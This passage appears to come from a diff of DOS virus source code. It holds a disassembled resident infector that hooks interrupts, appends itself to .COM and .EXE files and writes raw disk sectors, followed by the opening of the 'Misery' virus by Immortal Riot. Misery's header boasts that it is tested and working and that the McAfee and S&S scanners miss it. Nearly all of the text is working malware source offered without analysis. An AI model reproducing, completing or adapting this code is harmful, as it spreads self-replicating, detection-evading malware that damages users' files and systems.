||||||
|
jnz b0025c ;Jump not equal(ZF=0)
|
||||||
|
loop b00252 ;Dec CX;Loop if CX>0
|
||||||
|
pop es
|
||||||
|
jmp m002e9
|
||||||
|
b0025c: pop es
|
||||||
|
mov ah,49h
|
||||||
|
int 21h ;undefined
|
||||||
|
mov bx,0ffffh
|
||||||
|
mov ah,48h
|
||||||
|
int 21h ;undefined
|
||||||
|
sub bx,00e0h
|
||||||
|
jb m002e9 ;Jump if < (no sign)
|
||||||
|
mov cx,es
|
||||||
|
stc
|
||||||
|
adc cx,bx
|
||||||
|
mov ah,4ah
|
||||||
|
int 21h ;undefined
|
||||||
|
mov bx,00dfh
|
||||||
|
stc
|
||||||
|
sbb WORD PTR es:[d00002],bx
|
||||||
|
push es
|
||||||
|
mov es,cx
|
||||||
|
mov ah,4ah
|
||||||
|
int 21h ;undefined
|
||||||
|
mov ax,es
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
mov WORD PTR [d00001],0008h
|
||||||
|
call s11 ;<007a7>
|
||||||
|
mov bx,ax
|
||||||
|
mov cx,dx
|
||||||
|
pop ds
|
||||||
|
mov ax,ds
|
||||||
|
call s11 ;<007a7>
|
||||||
|
add ax,WORD PTR [d00006]
|
||||||
|
adc dx,00
|
||||||
|
sub ax,bx
|
||||||
|
sbb dx,cx
|
||||||
|
jb b002b0 ;Jump if < (no sign)
|
||||||
|
sub WORD PTR [d00006],ax
|
||||||
|
b002b0: pop si
|
||||||
|
push si
|
||||||
|
push ds
|
||||||
|
push cs
|
||||||
|
xor di,di ;Load register w/ 0
|
||||||
|
mov ds,di
|
||||||
|
lds ax,DWORD PTR [d0009c]
|
||||||
|
mov WORD PTR cs:[si+0714h],ax
|
||||||
|
mov WORD PTR cs:[si+0716h],ds
|
||||||
|
pop ds
|
||||||
|
mov cx,071ch
|
||||||
|
repz movsb ;Mov DS:[SI]->ES:[DI]
|
||||||
|
xor ax,ax ;Load register w/ 0
|
||||||
|
mov ds,ax
|
||||||
|
pop es
|
||||||
|
m002e9: pop si
|
||||||
|
xor ax,ax ;Load register w/ 0
|
||||||
|
mov ds,ax
|
||||||
|
mov ax,WORD PTR [d0004c]
|
||||||
|
mov WORD PTR cs:[si+06c2h],ax
|
||||||
|
mov ax,WORD PTR [d0004e]
|
||||||
|
mov WORD PTR cs:[si+06c4h],ax
|
||||||
|
mov WORD PTR [d0004c],06adh
|
||||||
|
add WORD PTR [d0004c],si
|
||||||
|
mov WORD PTR [d0004e],cs
|
||||||
|
pop ds
|
||||||
|
push ds
|
||||||
|
push si
|
||||||
|
mov bx,si
|
||||||
|
lds ax,DWORD PTR [d0002a]
|
||||||
|
xor si,si ;Load register w/ 0
|
||||||
|
mov dx,si
|
||||||
|
b00319: lodsw ;Load AX with DS:[SI]
|
||||||
|
dec si
|
||||||
|
test ax,ax ;Flags=Arg1 AND Arg2
|
||||||
|
jnz b00319 ;Jump not equal(ZF=0)
|
||||||
|
add si,03
|
||||||
|
lodsb ;Load AL with DS:[SI]
|
||||||
|
sub al,41h
|
||||||
|
mov cx,0001h
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
add bx,02b5h
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
int 25h ;undefined
|
||||||
|
pop ax
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
inc BYTE PTR [bx+0ah]
|
||||||
|
and BYTE PTR [bx+0ah],0fh
|
||||||
|
jnz b00372 ;Jump not equal(ZF=0)
|
||||||
|
mov al,BYTE PTR [bx+10h]
|
||||||
|
xor ah,ah ;Load register w/ 0
|
||||||
|
mul WORD PTR [bx+16h]
|
||||||
|
add ax,WORD PTR [bx+0eh]
|
||||||
|
push ax
|
||||||
|
mov ax,WORD PTR [bx+11h]
|
||||||
|
mov dx,0020h
|
||||||
|
mul dx
|
||||||
|
div WORD PTR [bx+0bh]
|
||||||
|
pop dx
|
||||||
|
add dx,ax
|
||||||
|
mov ax,WORD PTR [bx+08]
|
||||||
|
add ax,0040h
|
||||||
|
cmp ax,WORD PTR [bx+13h]
|
||||||
|
jb b0036f ;Jump if < (no sign)
|
||||||
|
inc ax
|
||||||
|
and ax,003fh
|
||||||
|
add ax,dx
|
||||||
|
cmp ax,WORD PTR [bx+13h]
|
||||||
|
jnb b0038b ;Jump if >= (no sign)
|
||||||
|
b0036f: mov WORD PTR [bx+08],ax
|
||||||
|
b00372: pop ax
|
||||||
|
xor dx,dx ;Load register w/ 0
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
int 26h ;undefined
|
||||||
|
pop ax
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
cmp BYTE PTR [bx+0ah],00
|
||||||
|
jnz b0038c ;Jump not equal(ZF=0)
|
||||||
|
mov dx,WORD PTR [bx+08]
|
||||||
|
pop bx
|
||||||
|
push bx
|
||||||
|
int 26h ;undefined
|
||||||
|
b0038b: pop ax
|
||||||
|
b0038c: pop si
|
||||||
|
xor ax,ax ;Load register w/ 0
|
||||||
|
mov ds,ax
|
||||||
|
mov ax,WORD PTR cs:[si+06c2h]
|
||||||
|
mov WORD PTR [d0004c],ax
|
||||||
|
mov ax,WORD PTR cs:[si+06c4h]
|
||||||
|
mov WORD PTR [d0004e],ax
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
cmp WORD PTR cs:[si+06ceh],5a4dh
|
||||||
|
jnz b003af ;Jump not equal(ZF=0)
|
||||||
|
jmp m00126
|
||||||
|
b003af: jmp m00155
|
||||||
|
mov al,03
|
||||||
|
iret ;POP flags and Return
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
call s7 ;<00728>
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
jmp DWORD PTR cs:[d00714]
|
||||||
|
b003bf: mov WORD PTR cs:[d00714],dx
|
||||||
|
mov WORD PTR cs:[b00716],ds
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
iret ;POP flags and Return
|
||||||
|
b003cb: mov WORD PTR cs:[d00718],dx
|
||||||
|
mov WORD PTR cs:[d0071a],ds
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
iret ;POP flags and Return
|
||||||
|
b003d7: les bx,DWORD PTR cs:[d00714]
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
iret ;POP flags and Return
|
||||||
|
b003de: les bx,DWORD PTR cs:[d00718]
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
iret ;POP flags and Return
|
||||||
|
b003e5: call s5 ;<0050b>
|
||||||
|
call s7 ;<00728>
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
jmp DWORD PTR cs:[d00718]
|
||||||
|
;-----------------------------------------------------
|
||||||
|
db '&^%s%c' ;0000:03f1
|
||||||
|
;-----------------------------------------------------
|
||||||
|
and ax,0064h
|
||||||
|
push bp ;Get Args from Stack
|
||||||
|
mov bp,sp
|
||||||
|
push WORD PTR [bp+06]
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
pop bp ;End High Level Subr
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
call s8 ;<00732>
|
||||||
|
cmp ax,2521h
|
||||||
|
jz b003cb ;Jump if equal (ZF=1)
|
||||||
|
cmp ax,2527h
|
||||||
|
jz b003bf ;Jump if equal (ZF=1)
|
||||||
|
cmp ax,3527h
|
||||||
|
jz b003d7 ;Jump if equal (ZF=1)
|
||||||
|
cld ;Forward String Opers
|
||||||
|
cmp ax,4b00h
|
||||||
|
jz b003e5 ;Jump if equal (ZF=1)
|
||||||
|
cmp ah,3ch
|
||||||
|
jz b0042f ;Jump if equal (ZF=1)
|
||||||
|
cmp ah,3eh
|
||||||
|
jz b0046b ;Jump if equal (ZF=1)
|
||||||
|
cmp ah,5bh
|
||||||
|
jnz b00495 ;Jump not equal(ZF=0)
|
||||||
|
b0042f: cmp WORD PTR cs:[d006d1],00
|
||||||
|
jnz b004ac ;Jump not equal(ZF=0)
|
||||||
|
call s2 ;<004c2>
|
||||||
|
jnz b004ac ;Jump not equal(ZF=0)
|
||||||
|
call s7 ;<00728>
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
call s4 ;<00504>
|
||||||
|
jb b004b3 ;Jump if < (no sign)
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
push es
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push cx
|
||||||
|
push ax
|
||||||
|
mov di,06d1h
|
||||||
|
stosw ;Store AX at ES:[DI]
|
||||||
|
mov si,dx
|
||||||
|
mov cx,0041h
|
||||||
|
b00456: lodsb ;Load AL with DS:[SI]
|
||||||
|
stosb ;Store AL at ES:[DI]
|
||||||
|
test al,al ;Flags=Arg1 AND Arg2
|
||||||
|
jz b00463 ;Jump if equal (ZF=1)
|
||||||
|
loop b00456 ;Dec CX;Loop if CX>0
|
||||||
|
mov WORD PTR es:[d006d1],cx
|
||||||
|
b00463: pop ax
|
||||||
|
pop cx
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
b00468: popf ;Pop flags off Stack
|
||||||
|
jnb b004b3 ;Jump if >= (no sign)
|
||||||
|
b0046b: cmp bx,WORD PTR cs:[d006d1]
|
||||||
|
jnz b004ac ;Jump not equal(ZF=0)
|
||||||
|
test bx,bx ;Flags=Arg1 AND Arg2
|
||||||
|
jz b004ac ;Jump if equal (ZF=1)
|
||||||
|
call s7 ;<00728>
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
call s4 ;<00504>
|
||||||
|
jb b004b3 ;Jump if < (no sign)
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
push ds
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push dx
|
||||||
|
mov dx,06d3h
|
||||||
|
call s5 ;<0050b>
|
||||||
|
mov WORD PTR cs:[d006d1],0000h
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
jmp short b00468
|
||||||
|
b00495: cmp ah,3dh
|
||||||
|
jz b004a4 ;Jump if equal (ZF=1)
|
||||||
|
cmp ah,43h
|
||||||
|
jz b004a4 ;Jump if equal (ZF=1)
|
||||||
|
cmp ah,56h
|
||||||
|
jnz b004ac ;Jump not equal(ZF=0)
|
||||||
|
b004a4: call s2 ;<004c2>
|
||||||
|
jnz b004ac ;Jump not equal(ZF=0)
|
||||||
|
call s5 ;<0050b>
|
||||||
|
b004ac: call s7 ;<00728>
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
call s4 ;<00504>
|
||||||
|
b004b3: pushf ;Push flags on Stack
|
||||||
|
push ds
|
||||||
|
call s9 ;<0078b>
|
||||||
|
mov BYTE PTR [d00000],5ah
|
||||||
|
pop ds
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
ret 0002h ;(far)
|
||||||
|
s1 endp
|
||||||
|
|
||||||
|
;<004c2>
|
||||||
|
s2 proc near
|
||||||
|
push ax
|
||||||
|
push si
|
||||||
|
mov si,dx
|
||||||
|
b004c6: lodsb ;Load AL with DS:[SI]
|
||||||
|
test al,al ;Flags=Arg1 AND Arg2
|
||||||
|
jz b004f3 ;Jump if equal (ZF=1)
|
||||||
|
cmp al,64h ;(d)
|
||||||
|
jz b004f3 ;Jump if equal (ZF=1)
|
||||||
|
add al,01
|
||||||
|
cmp al,2eh ;(.)
|
||||||
|
jnz b004c6 ;Jump not equal(ZF=0)
|
||||||
|
call s3 ;<004f8>
|
||||||
|
mov ah,al
|
||||||
|
call s3 ;<004f8>
|
||||||
|
cmp ax,6f76h
|
||||||
|
jz b004ee ;Jump if equal (ZF=1)
|
||||||
|
cmp ax,6578h
|
||||||
|
jnz b004f5 ;Jump not equal(ZF=0)
|
||||||
|
call s3 ;<004f8>
|
||||||
|
cmp al,65h ;(e)
|
||||||
|
jmp short b004f5
|
||||||
|
b004ee: call s3 ;<004f8>
|
||||||
|
jnz b004f5 ;Jump not equal(ZF=0)
|
||||||
|
b004f3: inc al
|
||||||
|
b004f5: pop si
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
s2 endp
|
||||||
|
|
||||||
|
;<004f8>
|
||||||
|
s3 proc near
|
||||||
|
lodsb ;Load AL with DS:[SI]
|
||||||
|
cmp al,43h ;(C)
|
||||||
|
jb b00503 ;Jump if < (no sign)
|
||||||
|
cmp al,59h ;(Y)
|
||||||
|
jnb b00503 ;Jump if >= (no sign)
|
||||||
|
add al,19h
|
||||||
|
b00503: ret
|
||||||
|
s3 endp
|
||||||
|
|
||||||
|
;<00504>
|
||||||
|
s4 proc near
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
call DWORD PTR cs:[d00718]
|
||||||
|
ret
|
||||||
|
s4 endp
|
||||||
|
|
||||||
|
;<0050b>
|
||||||
|
s5 proc near
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
mov si,ds
|
||||||
|
xor ax,ax ;Load register w/ 0
|
||||||
|
mov ds,ax
|
||||||
|
les ax,DWORD PTR [d00090]
|
||||||
|
push es
|
||||||
|
push ax
|
||||||
|
mov WORD PTR [d00090],02b2h
|
||||||
|
mov WORD PTR [d00092],cs
|
||||||
|
les ax,DWORD PTR [d0004c]
|
||||||
|
mov WORD PTR cs:[d006c2],ax
|
||||||
|
mov WORD PTR cs:[d006c4],es
|
||||||
|
mov WORD PTR [d0004c],06adh
|
||||||
|
mov WORD PTR [d0004e],cs
|
||||||
|
push es
|
||||||
|
push ax
|
||||||
|
mov ds,si
|
||||||
|
xor cx,cx ;Load register w/ 0
|
||||||
|
mov ax,4300h
|
||||||
|
call s4 ;<00504>
|
||||||
|
mov bx,cx
|
||||||
|
and cl,0feh
|
||||||
|
cmp cl,bl
|
||||||
|
jz b0055c ;Jump if equal (ZF=1)
|
||||||
|
mov ax,4301h
|
||||||
|
call s4 ;<00504>
|
||||||
|
stc
|
||||||
|
b0055c: pushf ;Push flags on Stack
|
||||||
|
push ds
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
mov ax,3d02h
|
||||||
|
call s4 ;<00504>
|
||||||
|
jb b00572 ;Jump if < (no sign)
|
||||||
|
mov bx,ax
|
||||||
|
call s6 ;<0059b>
|
||||||
|
mov ah,3eh
|
||||||
|
call s4 ;<00504>
|
||||||
|
b00572: pop cx
|
||||||
|
pop dx
|
||||||
|
pop ds
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
jnb b0057e ;Jump if >= (no sign)
|
||||||
|
mov ax,4301h
|
||||||
|
call s4 ;<00504>
|
||||||
|
b0057e: xor ax,ax ;Load register w/ 0
|
||||||
|
mov ds,ax
|
||||||
|
pop WORD PTR [d0004c]
|
||||||
|
pop WORD PTR [d0004e]
|
||||||
|
pop WORD PTR [d00090]
|
||||||
|
pop WORD PTR [d00092]
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
ret
|
||||||
|
s5 endp
|
||||||
|
|
||||||
|
;<0059b>
|
||||||
|
s6 proc near
|
||||||
|
spc=$
|
||||||
|
org 0006c2h
|
||||||
|
d006c2: org 0006c4h
|
||||||
|
d006c4: org 0006d1h
|
||||||
|
d006d1: org 000714h
|
||||||
|
d00714: org 000716h
|
||||||
|
d00716: org 000718h
|
||||||
|
d00718: org 00071ah
|
||||||
|
d0071a: org 00071ch
|
||||||
|
d0071c: org 00071dh
|
||||||
|
d0071d: org 00071eh
|
||||||
|
d0071e: org 000720h
|
||||||
|
d00720: org 000724h
|
||||||
|
d00724: org spc
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov dx,071ch
|
||||||
|
mov cx,0018h
|
||||||
|
mov ah,3fh
|
||||||
|
int 21h ;undefined
|
||||||
|
xor cx,cx ;Load register w/ 0
|
||||||
|
xor dx,dx ;Load register w/ 0
|
||||||
|
mov ax,4202h
|
||||||
|
int 21h ;undefined
|
||||||
|
mov WORD PTR [d00736],dx
|
||||||
|
cmp ax,06b8h
|
||||||
|
sbb dx,00
|
||||||
|
jb b0062c ;Jump if < (no sign)
|
||||||
|
mov WORD PTR [d00734],ax
|
||||||
|
cmp WORD PTR [d0071c],5a4dh
|
||||||
|
jnz b005e0 ;Jump not equal(ZF=0)
|
||||||
|
mov ax,WORD PTR [d00724]
|
||||||
|
add ax,WORD PTR [s8 ;<00732>]
|
||||||
|
call s11 ;<007a7>
|
||||||
|
add ax,WORD PTR [d00730]
|
||||||
|
adc dx,00
|
||||||
|
mov cx,dx
|
||||||
|
mov dx,ax
|
||||||
|
jmp short b005f5
|
||||||
|
b005e0: cmp BYTE PTR [d0071c],0e9h
|
||||||
|
jnz b0062d ;Jump not equal(ZF=0)
|
||||||
|
mov dx,WORD PTR [b0071d]
|
||||||
|
add dx,0103h
|
||||||
|
jb b0062d ;Jump if < (no sign)
|
||||||
|
dec dh
|
||||||
|
xor cx,cx ;Load register w/ 0
|
||||||
|
b005f5: sub dx,68h
|
||||||
|
sbb cx,00
|
||||||
|
mov ax,4200h
|
||||||
|
int 21h ;undefined
|
||||||
|
add ax,06d1h
|
||||||
|
adc dx,00
|
||||||
|
cmp ax,WORD PTR [d00734]
|
||||||
|
jnz b0062d ;Jump not equal(ZF=0)
|
||||||
|
cmp dx,WORD PTR [d00736]
|
||||||
|
jnz b0062d ;Jump not equal(ZF=0)
|
||||||
|
mov dx,0738h
|
||||||
|
mov si,dx
|
||||||
|
mov cx,06b8h
|
||||||
|
mov ah,3fh
|
||||||
|
int 21h ;undefined
|
||||||
|
jb b0062d ;Jump if < (no sign)
|
||||||
|
cmp cx,ax
|
||||||
|
jnz b0062d ;Jump not equal(ZF=0)
|
||||||
|
xor di,di ;Load register w/ 0
|
||||||
|
b00626: lodsb ;Load AL with DS:[SI]
|
||||||
|
scasb ;Flags = AL - ES:[DI]
|
||||||
|
jnz b0062d ;Jump not equal(ZF=0)
|
||||||
|
loop b00626 ;Dec CX;Loop if CX>0
|
||||||
|
b0062c: ret
|
||||||
|
b0062d: xor cx,cx ;Load register w/ 0
|
||||||
|
xor dx,dx ;Load register w/ 0
|
||||||
|
mov ax,4202h
|
||||||
|
int 21h ;undefined
|
||||||
|
cmp WORD PTR [d0071c],5a4dh
|
||||||
|
jz b00647 ;Jump if equal (ZF=1)
|
||||||
|
add ax,091ch
|
||||||
|
adc dx,00
|
||||||
|
jz b0065e ;Jump if equal (ZF=1)
|
||||||
|
ret
|
||||||
|
b00647: mov dx,WORD PTR [d00734]
|
||||||
|
neg dl
|
||||||
|
and dx,0fh
|
||||||
|
xor cx,cx ;Load register w/ 0
|
||||||
|
mov ax,4201h
|
||||||
|
int 21h ;undefined
|
||||||
|
mov WORD PTR [d00734],ax
|
||||||
|
mov WORD PTR [d00736],dx
|
||||||
|
b0065e: mov ax,5700h
|
||||||
|
int 21h ;undefined
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
cmp WORD PTR [d0071c],5a4dh
|
||||||
|
jz b00673 ;Jump if equal (ZF=1)
|
||||||
|
mov ax,0100h
|
||||||
|
jmp short b0067a
|
||||||
|
b00673: mov ax,WORD PTR [d00730]
|
||||||
|
mov dx,WORD PTR [s8 ;<00732>]
|
||||||
|
b0067a: mov di,06c6h
|
||||||
|
stosw ;Store AX at ES:[DI]
|
||||||
|
mov ax,dx
|
||||||
|
stosw ;Store AX at ES:[DI]
|
||||||
|
mov ax,WORD PTR [d0072c]
|
||||||
|
stosw ;Store AX at ES:[DI]
|
||||||
|
mov ax,WORD PTR [d0072a]
|
||||||
|
stosw ;Store AX at ES:[DI]
|
||||||
|
mov si,071ch
|
||||||
|
movsb ;Mov DS:[SI]->ES:[DI]
|
||||||
|
movsw ;Mov DS:[SI]->ES:[DI]
|
||||||
|
xor dx,dx ;Load register w/ 0
|
||||||
|
mov cx,06d1h
|
||||||
|
mov ah,40h
|
||||||
|
int 21h ;undefined
|
||||||
|
jb b006bf ;Jump if < (no sign)
|
||||||
|
xor cx,ax
|
||||||
|
jnz b006bf ;Jump not equal(ZF=0)
|
||||||
|
mov dx,cx
|
||||||
|
mov ax,4200h
|
||||||
|
int 21h ;undefined
|
||||||
|
cmp WORD PTR [d0071c],5a4dh
|
||||||
|
jz b006c1 ;Jump if equal (ZF=1)
|
||||||
|
mov BYTE PTR [d0071c],0e9h
|
||||||
|
mov ax,WORD PTR [d00734]
|
||||||
|
add ax,0065h
|
||||||
|
mov WORD PTR [b0071d],ax
|
||||||
|
mov cx,0003h
|
||||||
|
jmp short b00716
|
||||||
|
b006bf: jmp short b0071d
|
||||||
|
b006c1: call s10 ;<007a4>
|
||||||
|
not ax
|
||||||
|
not dx
|
||||||
|
inc ax
|
||||||
|
jnz b006cc ;Jump not equal(ZF=0)
|
||||||
|
inc dx
|
||||||
|
b006cc: add ax,WORD PTR [d00734]
|
||||||
|
adc dx,WORD PTR [d00736]
|
||||||
|
mov cx,0010h
|
||||||
|
div cx
|
||||||
|
mov WORD PTR [d00730],0068h
|
||||||
|
mov WORD PTR [s8 ;<00732>],ax
|
||||||
|
add ax,006eh
|
||||||
|
mov WORD PTR [d0072a],ax
|
||||||
|
mov WORD PTR [d0072c],0100h
|
||||||
|
add WORD PTR [d00734],06d1h
|
||||||
|
adc WORD PTR [d00736],00
|
||||||
|
mov ax,WORD PTR [d00734]
|
||||||
|
and ax,01ffh
|
||||||
|
mov WORD PTR [d0071e],ax
|
||||||
|
pushf ;Push flags on Stack
|
||||||
|
mov ax,WORD PTR [d00735]
|
||||||
|
shr BYTE PTR [d00737],1 ;Divide by 2's
|
||||||
|
rcr ax,1 ;CF-->[HI .. LO]-->CF
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
jz b00710 ;Jump if equal (ZF=1)
|
||||||
|
inc ax
|
||||||
|
b00710: mov WORD PTR [d00720],ax
|
||||||
|
mov cx,0018h
|
||||||
|
b00716: mov dx,071ch
|
||||||
|
mov ah,40h
|
||||||
|
int 21h ;undefined
|
||||||
|
b0071d: pop dx
|
||||||
|
pop cx
|
||||||
|
popf ;Pop flags off Stack
|
||||||
|
jb b00727 ;Jump if < (no sign)
|
||||||
|
mov ax,5701h
|
||||||
|
int 21h ;undefined
|
||||||
|
b00727: ret
|
||||||
|
s6 endp
|
||||||
|
|
||||||
|
;<00728>
|
||||||
|
s7 proc near
|
||||||
|
spc=$
|
||||||
|
org 00072ah
|
||||||
|
d0072a: org 00072ch
|
||||||
|
d0072c: org 000730h
|
||||||
|
d00730: org spc
|
||||||
|
push ds
|
||||||
|
call s9 ;<0078b>
|
||||||
|
mov BYTE PTR [d00000],4dh
|
||||||
|
pop ds
|
||||||
|
s7 endp
|
||||||
|
|
||||||
|
;<00732>
|
||||||
|
s8 proc near
|
||||||
|
spc=$
|
||||||
|
org 000732h
|
||||||
|
d00732: org 000734h
|
||||||
|
d00734: org 000735h
|
||||||
|
d00735: org 000736h
|
||||||
|
d00736: org 000737h
|
||||||
|
d00737: org spc
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push dx
|
||||||
|
xor bx,bx ;Load register w/ 0
|
||||||
|
mov ds,bx
|
||||||
|
lds dx,DWORD PTR [d00084]
|
||||||
|
cmp dx,02fah
|
||||||
|
jnz b0074e ;Jump not equal(ZF=0)
|
||||||
|
mov ax,ds
|
||||||
|
mov bx,cs
|
||||||
|
cmp ax,bx
|
||||||
|
jz b00786 ;Jump if equal (ZF=1)
|
||||||
|
xor bx,bx ;Load register w/ 0
|
||||||
|
b0074e: mov ax,WORD PTR [bx]
|
||||||
|
cmp ax,02fah
|
||||||
|
jnz b0075c ;Jump not equal(ZF=0)
|
||||||
|
mov ax,cs
|
||||||
|
cmp ax,WORD PTR [bx+02]
|
||||||
|
jz b00761 ;Jump if equal (ZF=1)
|
||||||
|
b0075c: inc bx
|
||||||
|
jnz b0074e ;Jump not equal(ZF=0)
|
||||||
|
jz b0077a ;Jump if equal (ZF=1)
|
||||||
|
b00761: mov ax,WORD PTR cs:[d00718]
|
||||||
|
mov WORD PTR [bx],ax
|
||||||
|
mov ax,WORD PTR cs:[d0071a]
|
||||||
|
mov WORD PTR [bx+02],ax
|
||||||
|
mov WORD PTR cs:[d00718],dx
|
||||||
|
mov WORD PTR cs:[d0071a],ds
|
||||||
|
xor bx,bx ;Load register w/ 0
|
||||||
|
b0077a: mov ds,bx
|
||||||
|
mov WORD PTR [d00084],02fah
|
||||||
|
mov WORD PTR [d00086],cs
|
||||||
|
b00786: pop dx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
ret
|
||||||
|
s8 endp
|
||||||
|
|
||||||
|
;<0078b>
|
||||||
|
s9 proc near
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
mov ah,62h
|
||||||
|
call s4 ;<00504>
|
||||||
|
mov ax,cs
|
||||||
|
dec ax
|
||||||
|
dec bx
|
||||||
|
b00796: mov ds,bx
|
||||||
|
stc
|
||||||
|
adc bx,WORD PTR [d00003]
|
||||||
|
cmp bx,ax
|
||||||
|
jb b00796 ;Jump if < (no sign)
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
s9 endp
|
||||||
|
|
||||||
|
;<007a4>
|
||||||
|
s10 proc near
|
||||||
|
mov ax,WORD PTR [d00724]
|
||||||
|
s10 endp
|
||||||
|
|
||||||
|
;<007a7>
|
||||||
|
s11 proc near
|
||||||
|
mov dx,0010h
|
||||||
|
mul dx
|
||||||
|
ret
|
||||||
|
;-----------------------------------------------------
|
||||||
|
cmp ah,03
|
||||||
|
jnz b007c1 ;Jump not equal(ZF=0)
|
||||||
|
cmp dl,80h
|
||||||
|
jnb b007bc ;Jump if >= (no sign)
|
||||||
|
jmp 0000:0000
|
||||||
|
b007bc: jmp 0000:0000
|
||||||
|
b007c1: jmp 0000:0000
|
||||||
|
;-----------------------------------------------------
|
||||||
|
db 00,01 ;0000:07c6 ..
|
||||||
|
db 6d dup (00h) ;0000:07c8 (.)
|
||||||
|
db 0cdh,20,90,90,90,90 ;0000:07ce . ....
|
||||||
|
s11 endp
|
||||||
|
spc=$
|
||||||
|
org 000000h
|
||||||
|
d00000: org 000001h
|
||||||
|
d00001: org 000002h
|
||||||
|
d00002: org 000003h
|
||||||
|
d00003: org 000006h
|
||||||
|
d00006: org 00002ah
|
||||||
|
d0002a: org 00004ch
|
||||||
|
d00086: org 000090h
|
||||||
|
d00090: org 000092h
|
||||||
|
d00092: org 00009ch
|
||||||
|
d0009c: org 00009eh
|
||||||
|
d0009e: org spc
|
||||||
|
cseg ends
|
||||||
|
end o00100
|
||||||
|
|
||||||
@@ -0,0 +1,252 @@
|
|||||||
|
; VirusName: Misery
|
||||||
|
; Country : Sweden
|
||||||
|
; Author : Metal Militia / Immortal Riot
|
||||||
|
; Date : 07-22-1993
|
||||||
|
;
|
||||||
|
; This is an mutation of Leprosy from 'PCM2'.
|
||||||
|
; Many thanks to the scratch coder of Leprosy
|
||||||
|
;
|
||||||
|
; We've tried this virus ourself, and it works just fine.
|
||||||
|
; It copies itself into other exe/com files on the
|
||||||
|
; current drive, and uses dot-dot for changing directory.
|
||||||
|
; Originally found in the United States Of America.
|
||||||
|
;
|
||||||
|
; There has been many mutations born from this virus,
|
||||||
|
; and here we give you another contribution.
|
||||||
|
|
||||||
|
; McAfee Scan v105 can't find it, and
|
||||||
|
; S&S Toolkit 6.5 don't find it either.
|
||||||
|
; I haven't tried with scanners like Fprot/Tbscan,
|
||||||
|
; but they will probably report some virus structure.
|
||||||
|
;
|
||||||
|
; Best Regards : [Metal Militia]
|
||||||
|
; [The Unforgiven]
|
||||||
|
|
||||||
|
title "MiSERY / Immortal Riot'93"
|
||||||
|
|
||||||
|
cr equ 13 ; Carriage return ASCII code
|
||||||
|
lf equ 10 ; Linefeed ASCII code
|
||||||
|
tab equ 9 ; Tab ASCII code
|
||||||
|
virus_size equ 664 ; Size of the virus file
|
||||||
|
code_start equ 100h ; Address right after PSP in memory
|
||||||
|
dta equ 80h ; Addr of default disk transfer area
|
||||||
|
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||||
|
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||||
|
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||||
|
attribute equ 21 ; Offset in DTA of file attribute
|
||||||
|
|
||||||
|
|
||||||
|
code segment 'code' ; Open code segment
|
||||||
|
assume cs:code,ds:code ; One segment for both code & data
|
||||||
|
org code_start ; Start code image after PSP
|
||||||
|
|
||||||
|
;---------------------------------------------------------------------
|
||||||
|
; All executable code is contained in boundaries of procedure "main".
|
||||||
|
; The following code, until the start of "virus_code", is the non-
|
||||||
|
; encrypted CMT portion of the code to load up the real program.
|
||||||
|
;---------------------------------------------------------------------
|
||||||
|
main proc near ; Code execution begins here
|
||||||
|
call encrypt_decrypt ; Decrypt the real virus code
|
||||||
|
jmp random_mutation ; Put the virus into action
|
||||||
|
|
||||||
|
encrypt_val db 00h ; Hold value to encrypt by here
|
||||||
|
|
||||||
|
; ---------- Encrypt, save, and restore the virus code -----------
|
||||||
|
infect_file:
|
||||||
|
mov bx,handle ; Get the handle
|
||||||
|
push bx ; Save it on the stack
|
||||||
|
call encrypt_decrypt ; Encrypt most of the code
|
||||||
|
pop bx ; Get back the handle
|
||||||
|
mov cx,virus_size ; Total number of bytes to write
|
||||||
|
